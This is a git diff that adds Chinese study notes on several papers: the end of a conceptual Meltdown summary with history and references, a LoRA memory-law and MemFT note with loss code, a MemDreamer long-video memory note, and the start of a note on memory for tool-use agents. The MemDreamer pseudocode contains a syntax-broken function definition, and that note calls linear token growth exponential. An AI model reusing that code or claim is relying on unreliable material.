+- 把本文当「一步步入侵教程」——实战利用受法律与伦理约束，且现代已缓解系统需组合多种技巧
+- 用 Meltdown 解释**纯用户态栈溢出**——那是另一类漏洞模型
+- 在 **已启用 KPTI + 新微码 + 新 CPU** 的环境假设「和 2018 年一样好利用」
+- 替代形式化验证工具——Meltdown 是**打破假设**的案例，不是证明工具
+
+## 历史小故事（可跳过）
+
+- **1967 年**：Tomasulo 算法让乱序执行在工程上可行——性能大奖，五十年后变成安全噩梦的伏笔。
+- **2017 年底**：Graz 理工大学团队与 Google Project Zero 的 Jann Horn **独立**发现同类问题。
+- **2018 年 1 月 3 日**：Meltdown 与 Spectre 同期披露，[meltdownattack.com](https://meltdownattack.com) 上线，全球紧急补丁。
+- **2018 年 8 月**：论文正式发表于 USENIX Security 2018，页 973–990。
+- **之后数年**：Intel 微码、硬件级缓解、MDS/L1TF 等变体研究——故事没在一月结束。
+
+## 学到什么
+
+1. **内存隔离是安全的地基**——Meltdown 证明硬件实现可以无声击穿「用户碰不到内核」。
+2. **性能优化与安全常常对打**——乱序执行是刚需，副作用必须用页表隔离、微码、新硬件持续买单。
+3. **侧信道的本质是测「痕迹」**——不必拿到寄存器本身，缓存时间差就足够重建秘密字节。
+4. **责任披露 + 全行业协同**——OS、云、芯片厂同一窗口修补，是「基础设施级」漏洞的应对模板。
+5. **读论文要分清架构与微架构**——安全假设若只写在 ISA 手册上，而攻击活在硅片实现里，就会反复踩坑。
+
+## 延伸阅读
+
+- 同日姊妹篇：[[spectre-attack-2018]] — 推测执行与边界检查绕过
+- 本仓库姊妹笔记：[[lipp-meltdown-2018]] — 另一版 Meltdown 学习笔记
+- Flush+Reload 基础：Yarom & Falkner, USENIX Security 2014
+- KAISER 原理：Gruss et al., USENIX Security 2017（后演进为 KPTI）
+- 官方站点：[meltdownattack.com](https://meltdownattack.com)
+- USENIX 演讲页：[usenix.org/conference/usenixsecurity18/presentation/lipp](https://www.usenix.org/conference/usenixsecurity18/presentation/lipp)
+
+## 参考文献
+
+```bibtex
+@inproceedings{lipp2018meltdown,
+  title     = {Meltdown: Reading Kernel Memory from User Space},
+  author    = {Moritz Lipp and Michael Schwarz and Daniel Gruss and Thomas Prescher
+               and Werner Haas and Anders Fogh and Jann Horn and Stefan Mangard
+               and Paul Kocher and Daniel Genkin and Yuval Yarom and Mike Hamburg},
+  booktitle = {27th USENIX Security Symposium (USENIX Security 18)},
+  year      = {2018},
+  pages     = {973--990},
+  url       = {https://meltdownattack.com/meltdown.pdf}
+}
+```
diff --git a/src/content/docs/papers/mem-ft-lora.md b/src/content/docs/papers/mem-ft-lora.md
new file mode 100644
index 000000000..7ca282a72
--- /dev/null
+++ b/src/content/docs/papers/mem-ft-lora.md
@@ -0,0 +1,310 @@
+---
+title: How LoRA Remembers? — 参数记忆定律与 MemFT 零基础学习笔记
+来源: https://arxiv.org/abs/2605.30260
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：LoRA 像可插拔的「小抽屉」
+
+想象你有一本**已经写满的大百科全书**（预训练 LLM 的固定权重）。现实里不断有新事实、新号码、新文档要记进去，但你不能每来一条就把全书重印一遍（全量微调太贵）。
+
+**LoRA（Low-Rank Adaptation）** 的做法像给书页边贴一排**可替换的小抽屉**：
+
+- 大书本体不动，只在少数层旁边挂低秩矩阵 \(A,B\)，更新量 \(\Delta W = BA\)。
+- 每条要「写入」的知识，占用的不是整本书的页数，而是**抽屉容量**——由 rank \(r\) 和有效参数量决定。
+- 问一句 key（问题），模型应从抽屉里**一字不差**吐出 value（答案）——这叫 **exact parametric memory（精确参数记忆）**。
+
+过去大家只看「微调后 QA 好不好」，像只测「能不能答对大意」。这篇论文（Xu 等，浙江大学 + 阿里巴巴，arXiv:[2605.30260](https://arxiv.org/abs/2605.30260)）问的是更底层的问题：
+
+> **给定 rank 和要背的文本长度，LoRA 到底能可靠记住多少？平均 loss 低了，是否就等于背下来了？**
+
+答案分两层：**宏观**上有幂律（Parametric Memory Law）；**微观**上每个 token 还要过 \(p>0.5\) 的相变门槛，否则一个错词就会**级联崩盘**。
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 标题 | How LoRA Remembers? A Parametric Memory Law for LLM Finetuning |
+| 机构 | 浙江大学、阿里巴巴 |
+| 任务 | 精确参数记忆：\(f_\theta(q^{(i)}) = a^{(i)}\)，贪婪解码下 verbatim 复现 |
+| 探针 | 用 LoRA 作为**可控容量探针**，扫描 rank \(r\) 与答案长度 \(\ell\) |
+| 核心公式 | Parametric Memory Law：\(\Delta\mathcal{L}(r,\ell) = C \cdot r^{\alpha} \cdot \ell^{-\beta} + b\) |
+| 相变阈值 | \(P_{\text{target}} > 0.5 \Leftrightarrow \mathcal{L}_{\text{crit}} = \ln 2 \approx 0.693\) |
+| 方法 | **MemFT**：把训练预算重分配给「还没过门槛」的 stubborn tokens |
+| 代码 | [github.com/zjunlp/ParametricMemoryLaw](https://github.com/zjunlp/ParametricMemoryLaw) |
+
+论文把 LoRA 从「省显存的微调技巧」重新框定为：**latent space 里可插拔的记忆单元**，并给出可预测的容量–参数–长度关系。
+
+---
+
+## 为什么重要
+
+不理解这篇论文，下面几件事很难讲清楚：
+
+- 为什么 LoRA rank 加到某个值后，**loss 还在降、准确率却卡住**——不是 bug，是 **Loss–Accuracy Misalignment（损失–准确率错位）**
+- 为什么「平均 cross-entropy 很低」仍可能**整段背不出来**——少数 \(p<0.5\) 的 stubborn token 会在自回归生成里**一处错、后面全错**
+- 为什么 continual learning / 知识更新要同时看 **参数量预算** 和 **序列长度**——二者通过幂律耦合，不是独立旋钮
+- 为什么 MemFT 能在**相同 rank** 下超过标准 SFT——它不再平均用力，而是专攻「还没过 \(\mathcal{L}_{\text{crit}}\)」的位置
+- 为什么 RAG / ICL 保证 verbatim，而 parametric memory 天然更难——信息写进权重，没有「原文 fetch」这条捷径
+
+一句话：**LoRA 能记多少、怎样才算「真的记住了」，这篇论文给了可度量的物理定律，而不只是经验调 rank。**
+
+---
+
+## 核心概念
+
+### 1. Exact Parametric Memory（精确参数记忆）
+
+数据集 \(\mathcal{D} = \{(q^{(i)}, a^{(i)})\}\)：`q` 是唯一 key，`a` 是要背的内容。推理时**看不到** \(a\)，只能靠 \(\Delta\theta\)（LoRA 增量）存信息。
+
+- 所有 token 级指标**只统计答案 token**，问题 token 仅作 conditioning。
+- 评估用 **greedy decoding**：\(\hat{a}_t = \arg\max_v p_\theta(v \mid q, a_{<t})\)。
+- 成功标准：**逐 token 与 ground truth 完全一致**（verbatim recall）。
+
+这对应认知科学里的 **verbatim trace（逐字记忆）**，区别于只考「懂不懂大意」的 gist 评测。
+
+### 2. Parametric Memory Law（参数记忆定律）
+
+扫描不同 LoRA rank \(r\) 和答案长度 \(\ell\)，测量相对基座模型的 **loss 下降量** \(\Delta\mathcal{L}\)。论文发现稳定幂律：
+
+\[
+\Delta\mathcal{L}(r,\ell) = C \cdot r^{\alpha} \cdot \ell^{-\beta} + b
+\]
+
+直觉：
+
+- **rank 越大** → 有效参数越多 → \(\Delta\mathcal{L}\) 越大（\(\alpha > 0\)）
+- **要背的越长** → 单位参数能分到的「记忆带宽」越少 → \(\Delta\mathcal{L}\) 越小（\(\beta > 0\)）
+
+在 Llama-3.1-8B-Instruct、Qwen3-8B-Instruct 上，Long-context 混合任务 \(R^2 \approx 0.98+\)，PhoneBook 短 KV 任务同样拟合良好——说明定律对**语义文本、随机 token、长短上下文**都稳健。
+
+**宏观定律告诉你「容量趋势」，但不保证每个 token 都背下来了。**
+
+### 3. Loss–Accuracy Misalignment（损失–准确率错位）
+
+关键反直觉现象：**平均 loss 接近 0，token 准确率仍可能接近 0**。
+
+原因：cross-entropy 对所有 token **平均**。简单 token 已经 \(p \approx 1\)，把平均值拉得很低，掩盖少数位置长期 \(p < 0.5\) 的 **stubborn tokens（顽固 token）**。
+
+在自回归生成里，只要**最早失败位置** \(i^\*\) 前一个 token 没背稳，后面上下文被污染，整段 collapse——论文报告 Spearman \(\rho \approx 0.908\)：最早 stubborn 位置 tightly bounds \(i^\*\)。
+
+### 4. Deterministic Phase Transition（确定性相变）
+
+对每个目标 token，设 \(P_{\text{target}}\) 为正确 token 的预测概率。
+
+| 相 | 条件 | 含义 |
+|----|------|------|
+| **Disordered（无序相）** | \(P_{\text{target}} < 0.5\)，即 \(\mathcal{L}_t > \ln 2\) | 正确 token 不是最大概率候选，贪婪解码可能选错 |
+| **Ordered（有序相）** | \(P_{\text{target}} > 0.5\)，即 \(\mathcal{L}_t < \ln 2\) | 正确 token **保证**是 argmax，贪婪解码必对 |
+
+临界 loss：
+
+\[
+\mathcal{L}_{\text{crit}} = -\log(0.5) = \ln 2 \approx 0.693
+\]
+
+**\(p > 0.5\) 是 verbatim recall 的充分条件**（在 greedy 下）。低于阈值不是「稍微不确定」，而是**记忆尚未锁定**，级联失败风险陡增。
+
+Parametric Memory Law 描述「整体 loss 能降多少」；相变解释「降下来的 loss 何时真正变成准确率」。
+
+### 5. MemFT（Memorization-oriented Fine-Tuning）
+
+标准 SFT 对所有 token 等权优化，浪费梯度在**已经 ordered** 的 easy tokens 上。
+
+MemFT 使用加权目标：
+
+\[
+\mathcal{L}_{\text{MemFT}}(\theta) = \frac{\sum_{t \in \mathcal{M}} w_t \, \mathcal{L}_t(\theta)}{\sum_{t \in \mathcal{M}} w_t + \varepsilon}
+\]
+
+两种主要变体：
+
+| 方法 | 权重 \(w_t\) | 思想 |
+|------|-------------|------|
+| **MemFT-OT** | \(\mathbf{1}[\mathcal{L}_t > \mathcal{L}_{\text{crit}}]\) | 只训练 sub-threshold token，零额外超参 |
+| **MemFT-SW** | 在 OT 基础上加 soft threshold + 围绕首个错误位置的 spatial sliding | 聚焦瓶颈邻域，缓解局部卡死 |
+
+实验（Long-Context Memorization Stress Test）：同 rank 下 MemFT-OT 在 Llama-3.1-8B 最高档 rank 达到 **100% token accuracy**，显著高于 SFT 的 94.7%；PhoneBook 上 EM 准确率同样大幅提升。
+
+---
+
+## 代码示例 1：判断 token 是否进入「有序相」
+
+下面用 NumPy 演示相变阈值——把每个位置的 cross-entropy 映射到 \(P_{\text{target}}\)，再标记是否已「记忆锁定」：
+
+```python
+import numpy as np
+
+L_crit = np.log(2)  # ≈ 0.693
+
+def memory_phase(per_token_loss: np.ndarray) -> dict:
+    """per_token_loss: 每个答案 token 的 cross-entropy（自然对数）"""
+    p_target = np.exp(-per_token_loss)
+    ordered = per_token_loss < L_crit          # P_target > 0.5
+    stubborn = ~ordered
+    return {
+        "p_target": p_target,
+        "ordered_mask": ordered,
+        "stubborn_indices": np.where(stubborn)[0].tolist(),
+        "mean_loss": float(per_token_loss.mean()),
+        "token_accuracy_if_greedy": float(ordered.all()),  # 全 ordered 才保证整段 verbatim
+    }
+
+# 模拟：多数 token 已学会，但 index 7 长期卡在无序相
+losses = np.array([0.05, 0.08, 0.12, 0.15, 0.20, 0.18, 0.22, 0.95, 0.10, 0.09])
+report = memory_phase(losses)
+
+print(f"平均 loss: {report['mean_loss']:.3f}")           # 看起来不错
+print(f"stubborn 位置: {report['stubborn_indices']}")     # [7]
+print(f"整段 greedy 能否 verbatim: {report['token_accuracy_if_greedy']}")  # False
+```
+
+输出说明：**平均 loss 仅 0.215，但一个 stubborn token 就足以让整段记忆在生成时失败**——这就是 Loss–Accuracy Misalignment 的微观来源。
+
+---
+
+## 代码示例 2：MemFT-OT 加权 loss（PyTorch 风格）
+
+MemFT-OT 把梯度集中在 \(\mathcal{L}_t > \mathcal{L}_{\text{crit}}\) 的 token 上：
+
+```python
+import torch
+import torch.nn.functional as F
+
+L_CRIT = 0.6931471805599453  # ln(2)
+
+def memft_ot_loss(logits: torch.Tensor, labels: torch.Tensor, ignore_index: int = -100) -> torch.Tensor:
+    """
+    logits: [batch, seq, vocab]
+    labels: [batch, seq]，问题 token 位置标 ignore_index
+    """
+    b, s, v = logits.shape
+    flat_logits = logits.view(-1, v)
+    flat_labels = labels.view(-1)
+
+    per_token = F.cross_entropy(flat_logits, flat_labels, reduction="none", ignore_index=ignore_index)
+    mask = flat_labels != ignore_index
+
+    # 仅对未过相变阈值的 token 计权
+    w = (per_token > L_CRIT).float() * mask.float()
+    weighted = w * per_token
+
+    denom = w.sum().clamp_min(1e-8)
+    return weighted.sum() / denom
+
+# 对比：标准 SFT 对所有答案 token 等权
+def sft_loss(logits: torch.Tensor, labels: torch.Tensor, ignore_index: int = -100) -> torch.Tensor:
+    return F.cross_entropy(
+        logits.view(-1, logits.size(-1)),
+        labels.view(-1),
+        ignore_index=ignore_index,
+    )
+```
+
+训练循环里，可在每步 forward 后统计 `stubborn ratio = (L_t > L_crit).mean()`，观察 MemFT 是否把 stubborn token 比例快速压到 0——这与论文中「redirect parameter budget」的叙事一致。
+
+---
+
+## 代码示例 3：Parametric Memory Law 的 log–log 拟合（概念验证）
+
+用 scipy 在 \((r, \ell)\) 网格上拟合 \(\Delta\mathcal{L}\)，验证幂律形状（实验需自行跑 LoRA 扫描收集数据）：
+
+```python
+import numpy as np
+from scipy.optimize import curve_fit
+
+def memory_law(r, ell, C, alpha, beta, b):
+    return C * (r ** alpha) * (ell ** (-beta)) + b
+
+# ranks, lengths, delta_L 来自多次 LoRA 微调实验
+ranks = np.array([1, 2, 4, 8, 16, 32], dtype=float)
+lengths = np.array([128, 256, 512, 1024], dtype=float)
+
+# 构造网格：每个 (r, ell) 测一次相对基座的 loss 下降
+R, L = np.meshgrid(ranks, lengths, indexing="ij")
+# delta_L[i,j] = loss_base - loss_lora  （示例占位，需替换为真实测量）
+delta_L = np.random.uniform(0.1, 2.0, size=R.shape)
+
+def flat_model(x, C, alpha, beta, b):
+    r, ell = x
+    return memory_law(r, ell, C, alpha, beta, b)
+
+popt, _ = curve_fit(
+    flat_model,
+    (R.ravel(), L.ravel()),
+    delta_L.ravel(),
+    p0=[1.0, 0.5, 0.5, 0.0],
+    bounds=([0, 0, 0, -np.inf], [np.inf, 5, 5, np.inf]),
+)
+C, alpha, beta, b = popt
+print(f"ΔL ≈ {C:.4f} * r^{alpha:.3f} * ℓ^(-{beta:.3f}) + {b:.4f}")
+```
+
+论文报告 \(\alpha, \beta\) 在不同模型与数据混合下稳定——这意味着你可以**在正式微调前估算**：给定目标文本长度和可用 rank，loss 还能降多少、是否值得加 rank 或拆短序列。
+
+---
+
+## 实验设置速览
+
+| 维度 | 设置 |
+|------|------|
+| 基座模型 | Llama-3.1-8B-Instruct、Qwen3-8B-Instruct |
+| 长上下文任务 | Long-context Memorization Stress Test（LongBench 与随机 token 混合，r0–r100） |
+| 短 KV 任务 | PhoneBook（name → number，大量短条目） |
+| LoRA | 作为 latent space 记忆探针，扫描多档 rank |
+| 对比方法 | SFT vs MemFT-OT vs MemFT-SW |
+
+PhoneBook 考察「很多短记忆」；Long-context 考察「单条很长 verbatim」——两者互补，定律在两端都成立。
+
+---
+
+## 与相关路线的关系
+
+```text
+非参数记忆                    参数记忆（本文）
+─────────────────────────────────────────────────
+ICL / RAG / 外部向量库    vs    LoRA / 权重写入
+推理时读上下文              vs    推理时无原文，靠 Δθ
+verbatim 容易（直接取回）     vs    verbatim 难，需过 p>0.5 相变
+上下文窗口、注意力稀释        vs    容量受 rank×长度幂律约束
+```
+
+与 Chinchilla 的「算力–参数–数据最优比」不同，本文回答的是 **finetune 阶段 LoRA 作为记忆模块的容量律**——二者可组合：先知道预训练规模律，再在部署时用 Parametric Memory Law 规划知识更新预算。
+
+---
+
+## 实践启示
+
+1. **别只用平均 loss 判断「背会了没有」**——检查 sub-threshold token 比例和首个失败位置。
+2. **加 rank 有递减收益**——幂律告诉你何时进入饱和区；MemFT 则在**固定 rank** 下挖潜。
+3. **长文本记忆更吃参数**——\(\ell^{-\beta}\) 意味着同样 rank 下，背 4 倍长文本比线性想象更难。
+4. **训练策略**：对 stubborn token 加权（MemFT-OT 最简单）比盲目延长 epoch 更有效。
+5. **评估协议**：exact memory 任务应报告 **token-level accuracy + greedy decoding**，而不只是 perplexity。
+
+---
+
+## 局限与开放问题
+
+- 定律在文中所列模型与任务上验证，**更大模型、MoE、多模态 LoRA** 是否同指数仍需扩展。
+- MemFT-SW 引入 sliding window 等超参，OT 变体零超参但 SW 在部分设置更优——工程上需按任务选择。
+- 论文聚焦 **verbatim parametric memory**；与 RAG 混合、instruction following 的交互未完全展开。
+- 代码仓库标注将发布——复现时以官方实现为准。
+
+---
+
+## 一句话总结
+
+**LoRA 记住东西的方式，可以用幂律刻画容量（Parametric Memory Law），用 \(p>0.5\) 刻画每个 token 是否真正锁定（确定性相变）；MemFT 则把训练火力从「已经会了的 token」转向 stubborn token，在相同参数预算下提高 verbatim 记忆成功率。**
+
+---
+
+## 延伸阅读
+
+- 论文 HTML：[arxiv.org/html/2605.30260v1](https://arxiv.org/html/2605.30260v1)
+- 代码：[github.com/zjunlp/ParametricMemoryLaw](https://github.com/zjunlp/ParametricMemoryLaw)
+- 相关：[[demystifying-data-org]]（数据组织与训练效率）、[[llmsurgeon-data-mixture]]（数据混合与微调）
diff --git a/src/content/docs/papers/memdreamer.md b/src/content/docs/papers/memdreamer.md
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+---
+title: MemDreamer
+来源: https://arxiv.org/abs/2606.07512
+日期: 2026-06-13
+分类: Agent
+子分类: 智能体与 LLM
+provenance: pipeline-v3
+---
+
+# MemDreamer：分层图记忆 + 智能体检索，解决长视频理解问题
+
+## 问题：为什么长视频这么难理解？
+
+想象一下这个场景：你有一部三个小时的电影，要回答"主角在第二幕中段为什么对配角发火"。
+
+你不可能把整部三个小时的电影在脑海里同时回放。那样会混乱、会遗忘、会找不到重点。
+
+正确的做法是：
+
+1. **分场景记住关键事件**（感知）
+2. **回答问题时，只回想相关片段**（推理）
+3. **像查笔记一样在记忆里搜索线索**（检索）
+
+MemDreamer 做的事情，就是让 AI 学会这套方法。
+
+---
+
+## 核心问题：Token 爆炸 + 注意力稀释
+
+现有的 Vision-Language Model（视觉-语言模型，比如 GPT-4o、Claude 的多模态版本）处理长视频时有一个根本性问题：
+
+> 视频是连续的帧。一小时 30fps 的视频 = 108,000 帧。每帧都要编码成 token 输入模型，token 数量会指数级膨胀，模型"注意力"被稀释到无法聚焦。
+
+用一个比喻：就像让一个人同时读一万本书来回答一个关于其中某一页的问题。
+
+---
+
+## 核心思路：分离"感知"和"推理"
+
+MemDreamer 的关键创新是**把"看视频"和"想问题"拆成两个独立阶段**：
+
+| 阶段 | 做什么 | 类比 |
+|------|--------|------|
+| **感知（Perception）** | 视频流进来时，不断提炼、压缩、建索引 | 读书时做笔记、画思维导图 |
+| **推理（Reasoning）** | 回答问题时，从笔记中检索相关信息来思考 | 考试时翻笔记找答案 |
+
+这两个阶段之间通过一个**分层图记忆（Hierarchical Graph Memory）**连接。
+
+---
+
+## 分层图记忆：三层结构
+
+MemDreamer 把视频信息组织成一个三层的图结构（Graph = 节点 + 边）：
+
+```
+层级 1（底层）：基础图 Foundation Graph
+  ├── 每一帧/每个场景是一个节点
+  ├── 节点之间用边连接，表示时空关系（"前一秒发生了这个"）和因果关系（"因为他被骂了，所以生气了"）
+  └── 这是最详细的信息层
+
+层级 2（中层）：摘要图 Summary Graph
+  ├── 把相邻的基础图节点合并成"场景片段"
+  ├── 例如："第一幕开场 - 主角走进办公室 - 和秘书打招呼" 合并为一个节点
+  └── 保留关键事件，丢弃细碎帧信息
+
+层级 3（顶层）：大纲图 Outline Graph
+  ├── 最高级别的抽象
+  ├── 比如："第一幕：建立关系"、"第二幕：冲突爆发"、"第三幕：和解"
+  └── 类似一本书的目录
+```
+
+这个结构的妙处在于：**从顶层查到底层，像导航一样逐层下钻**。
+
+---
+
+## 智能体检索：O-R-A 循环
+
+当用户提问时（比如"主角为什么在第 45 分钟生气？"），MemDreamer 不是一次性把所有内容喂给模型，而是用一个**智能体（Agent）**来做检索：
+
+```
+Observation（观察）→ Reason（推理）→ Action（行动）
+      ↑                                  │
+      └──────────────────────────────────┘
+              （循环执行）
+```
+
+每一轮循环：
+
+1. **观察当前已有的信息**
+2. **推理：我需要知道什么？下一步该查什么？**
+3. **行动：调用工具（搜索节点、遍历边、跳到更高层或更低层）**
+
+这个过程持续进行，直到智能体认为自己收集到了足够的信息来回答问题。
+
+---
+
+## 代码示例
+
+### 示例 1：构建分层图记忆（伪代码）
+
+```python
+# 第一步：从视频流中逐帧提取特征并构建基础图节点
+class FoundationGraphNode:
+    def __init__(self, frame_id, visual_features, timestamp):
+        self.id = frame_id
+        self.features = visual_features  # 视觉特征向量
+        self.timestamp = timestamp        # 时间戳
+        self.edges = []                   # 连接到其他节点的边
+
+# 第二步：将相邻的基础图节点合并为场景摘要（中层）
+def merge_to_scene_foundation_nodes, scene_size=30):
+    scenes = []
+    for i in range(0, len(nodes), scene_size):
+        chunk = nodes[i : i + scene_size]
+        # 将一 chunk 的视觉特征压缩为一个摘要向量
+        summary = compress(chunk.features)
+        scene = SummaryGraphNode(
+            id=f"scene_{i}",
+            summary=summary,
+            time_range=(chunk[0].timestamp, chunk[-1].timestamp),
+            children=chunk  # 保留对原始节点的引用
+        )
+        scenes.append(scene)
+    return scenes
+
+# 第三步：生成顶层大纲（高层抽象）
+def generate_outline(scenes):
+    outline = []
+    for scene_group in group_by_act(scenes):  # 按"幕"分组
+        outline.append(OutlineNode(
+            id=f"act_{len(outline)}",
+            title=extract_act_title(scene_group),  # 从场景中提炼标题
+            scenes=scene_group
+        ))
+    return outline
+```
+
+### 示例 2：智能体 O-R-A 检索循环（伪代码）
+
+```python
+class AgenticRetriever:
+    def __init__(self, outline, summary_graph, foundation_graph, reasoner):
+        self.outline = outline
+        self.summary_graph = summary_graph
+        self.foundation_graph = foundation_graph
+        self.reasoner = reasoner  # 负责推理的模型
+        self.knowledge = []       # 累积的已知信息
+
+    def retrieve(self, question):
+        """从大纲层开始，逐步下钻检索"""
+        self.knowledge.append(self._get_outline_summary())
+
+        while not self._is_enough(question):
+            # Observation：看看现在知道了什么
+            current_state = self._summarize_knowledge()
+
+            # Reason：推理下一步该查什么
+            plan = self.reasoner.step(
+                question=question,
+                current_state=current_state,
+                knowledge=self.knowledge
+            )
+            # plan 输出类似: {"action": "search_scene", "target": "scene_45"}
+
+            # Action：执行检索动作
+            result = self._execute_action(plan)
+            self.knowledge.append(result)
+
+        # 收集够了，回答问题
+        return self.reasoner.answer(question, self.knowledge)
+
+    def _execute_action(self, plan):
+        action = plan["action"]
+        target = plan["target"]
+
+        if action == "search_scene":
+            # 在中层图中搜索对应的场景节点
+            scene = self.summary_graph.search(target)
+            return scene.summary
+
+        elif action == "drill_down":
+            # 下钻到基础图，看这个场景的每一帧细节
+            scene = self.summary_graph.find(target)
+            return [node.features for node in scene.children]
+
+        elif action == "traverse_causal":
+            # 沿着因果关系边查找
+            node = self.foundation_graph.find(target)
+            return self._follow_causal_edges(node)
+```
+
+### 示例 3：图节点的因果关系边构建
+
+```python
+class CausalEdge:
+    """表示因果关系：节点 A 导致了节点 B 的状态变化"""
+    def __init__(self, from_node, to_node, relation_type):
+        # relation_type: "caused_by", "preceded_by", "contradicts" 等
+        self.from_node = from_node
+        self.to_node = to_node
+        self.relation_type = relation_type
+
+def build_causal_edges(foundation_nodes):
+    """自动检测视频中事件之间的因果关系"""
+    edges = []
+    for i in range(len(foundation_nodes) - 1):
+        a = foundation_nodes[i]
+        b = foundation_nodes[i + 1]
+
+        # 用视觉特征变化判断是否有关联
+        similarity = cosine_similarity(a.features, b.features)
+        if similarity > 0.8:  # 高度相似 → 可能因果相关
+            edge = CausalEdge(a, b, "caused_by")
+            edges.append(edge)
+            a.edges.append(edge)
+            b.edges.append(edge)
+
+    return edges
+```
+
+---
+
+## 为什么这个方法有效？
+
+### 1. Token 开销极小
+
+MemDreamer 推理时使用的上下文窗口只有完整视频内容的 **2%**。
+
+为什么？因为它不需要看到每一帧。它通过三层图结构，先在高抽象层快速定位相关信息，再下钻到需要的细节层。
+
+类比：你问"书里第三章提到了什么概念？"——你不会把整本书重读一遍，而是先翻目录找到第三章，再跳到那一章。
+
+### 2. 精度大幅提升
+
+在四个主流基准测试上，MemDreamer 达到了 **SOTA（最佳结果）**，与人类专家水平的差距仅 **3.7 分**（满分假设 100 的情况下）。
+
+相比之前没有这种记忆机制的方法，准确率绝对提升了 **12.5 个百分点**。
+
+### 3. 即插即用
+
+MemDreamer 是一个**框架**，不是一个新的模型。你可以把它套在任何现有的视觉-语言模型外面，不需要重新训练模型本身。
+
+---
+
+## 重要发现：逻辑推理能力与长视频理解正相关
+
+MemDreamer 的统计分析揭示了一个有趣的现象：
+
+> **一个 VLM 在逻辑推理任务上的表现，和它在长视频理解上的表现，呈强正相关。**
+
+这意味着什么？
+
+如果一个模型擅长"如果 A 发生，那么 B 会发生"这样的逻辑推理，它也会更擅长理解视频中的因果关系。MemDreamer 把这种能力**放大**了——通过给模型提供结构化的记忆，让它的推理能力可以真正发挥作用。
+
+这建立了一个新范式：**智能体能力缩放（Agentic Capability Scaling）**。与其盲目增加模型参数，不如给模型更好的"思考工具"（如结构化记忆 + 检索机制）。
+
+---
+
+## 总结
+
+MemDreamer 的核心贡献可以概括为三句话：
+
+1. **分层图记忆**：把长视频信息组织成三层图结构（基础图 → 摘要图 → 大纲图），像建索引一样让 AI"记住"视频内容
+2. **智能体检索**：用 O-R-A 循环让 AI 自主决定"接下来查什么"，而不是被动接收所有信息
+3. **感知-推理解耦**：把"看"和"想"分开，推理时只使用 2% 的上下文，却获得 12.5% 的精度提升
+
+---
+
+## 思考题
+
+1. 分层图记忆的结构，让你联想到数据库中的哪种索引技术？（提示：B+ 树、倒排索引……）
+2. O-R-A 循环和 Agent 框架（如 ReAct）有什么异同？
+3. 如果把这个方法用在你自己写的长文档摘要工具上，你会怎么设计那三层结构？
diff --git a/src/content/docs/papers/memory-tool-use-agents.md b/src/content/docs/papers/memory-tool-use-agents.md
new file mode 100644
index 000000000..e766a8660
--- /dev/null
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@@ -0,0 +1,363 @@
+---
+title: When Does Memory Help Multi-Trajectory Inference for Tool-Use LLM Agents?
+来源: 'Xinzhe Li & Yaguang Tao, "When Does Memory Help Multi-Trajectory Inference for Tool-Use LLM Agents?", arXiv:2605.28224, RMIT University, 2026'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：组队解谜，要不要共享笔记？
+
+想象你和四个朋友分头解同一道密室谜题，每人最多试五次，最后选**任意一人**的答案交卷。
+
+- **各写各的（无记忆）**：每次从头摸索，A 已经发现「红钥匙开左门」，B 仍会再去试右门——浪费步数，但探索更分散。
+- **只写失败复盘（Reflection）**：A 失败后总结「别先查右柜，会触发警报」；B 读到后换策略。这对**需要树状回溯**的解法（像下围棋）特别有用，但对「各试各的、最后挑最好」的简单模式未必明显。
+- **只写环境事实（Fact Extraction）**：把「左柜有密码盘、表名是 Tournament_Results」记成原子事实；下一个人可以**跳过重复勘探**，步数变短，但容易大家都走同一条路。
+- **同一节点里兄弟之间耳语（Raw Sibling）**：在**同一步**展开多个候选动作时，后生成的候选能看到前面兄弟刚试过的动作和观察——适合束搜索这种「一步要并排看多个分支」的场景。
+
+这篇论文（Li & Tao, arXiv:2605.28224）问的核心问题不是「记忆有没有用」，而是：**在什么推理策略、什么任务结构下，哪种记忆抽象才真正帮上忙？** 它用统一框架把 Reflexion、LATS、mem0 式事实提取等散落做法，放到同一张实验矩阵里对照。
+
+---
+
+## 是什么
+
+**工具调用（tool-use）LLM Agent** 会在多步交互里发出结构化调用（SQL 查询、Shell 命令、知识图谱 API 等），读环境返回的 observation，再决定下一步。
+
+**多轨迹推理（multi-trajectory inference）** 指：对同一任务生成**多条完整推理轨迹**，再从中选出最好的一条——类似 pass@k / best-of-N、束搜索（beam search）、蒙特卡洛树搜索（MCTS）。
+
+**记忆增强** 在这些轨迹之间（或同一展开内的兄弟候选之间）传递信息，让后续尝试不必从零开始。
+
+论文贡献可以概括为三件事：
+
+1. **统一框架**：沿两条正交轴分解记忆——**转移范围（scope）** 与 **内容抽象（abstraction）**。
+2. **系统实验**：4 种记忆 × 3 种推理策略 × 4 个基准（WikiSQL、WikiTQ、KGQA、Terminal-Bench），在 **verifier-free** 设定下评估（验证器只在评测时用，推理过程中没有「单元测试通过/失败」这类在线信号）。
+3. **三条结论（F1–F3）**：记忆收益强烈依赖推理策略；不同抽象在难任务上可能「效果相当」；事实提取常**不提高准确率**但显著**缩短轨迹**。
+
+---
+
+## 为什么重要
+
+### 1. 过去的工作难以横向比较
+
+Reflexion 用轨迹级反思、LATS 把反思嵌进 MCTS、mem0 类方法提取原子事实——它们往往在**单一任务 + 单一推理策略**下报告提升。你无法判断：增益来自「反思比事实好」，还是来自「MCTS 比 best-of-N 更适合吃这类记忆」。
+
+### 2. 生产 Agent 大多是 verifier-free
+
+很多论文在推理时用 inline verifier（答案 exact match、测试是否通过）。真实部署里，Agent 通常**不知道**当前轨迹对不对，只能凭 observation 继续试。论文刻意对齐这种 regime，结论更贴近实际系统。
+
+### 3. 环境是否可序列化（serializable）决定能用哪种搜索
+
+若环境状态**不能 fork**（例如真实 Shell、已执行的破坏性 SQL），则 beam search / MCTS 不可行，只剩 **best-of-N** 类独立采样。记忆设计必须和**可用搜索算法**一起考虑。
+
+### 4. 「加记忆」不免费
+
+Reflection 要额外调用 augmentor LLM；Fact 提取也有成本。WikiSQL 上 LiTS-Fact 把平均步数从 6.1 降到 4.9，策略 token 成本从 $2.20 降到约 $1.68——**效率收益**和**探索多样性损失**需要权衡。
+
+---
+
+## 核心概念
+
+### 1. 形式化：上下文增强器
+
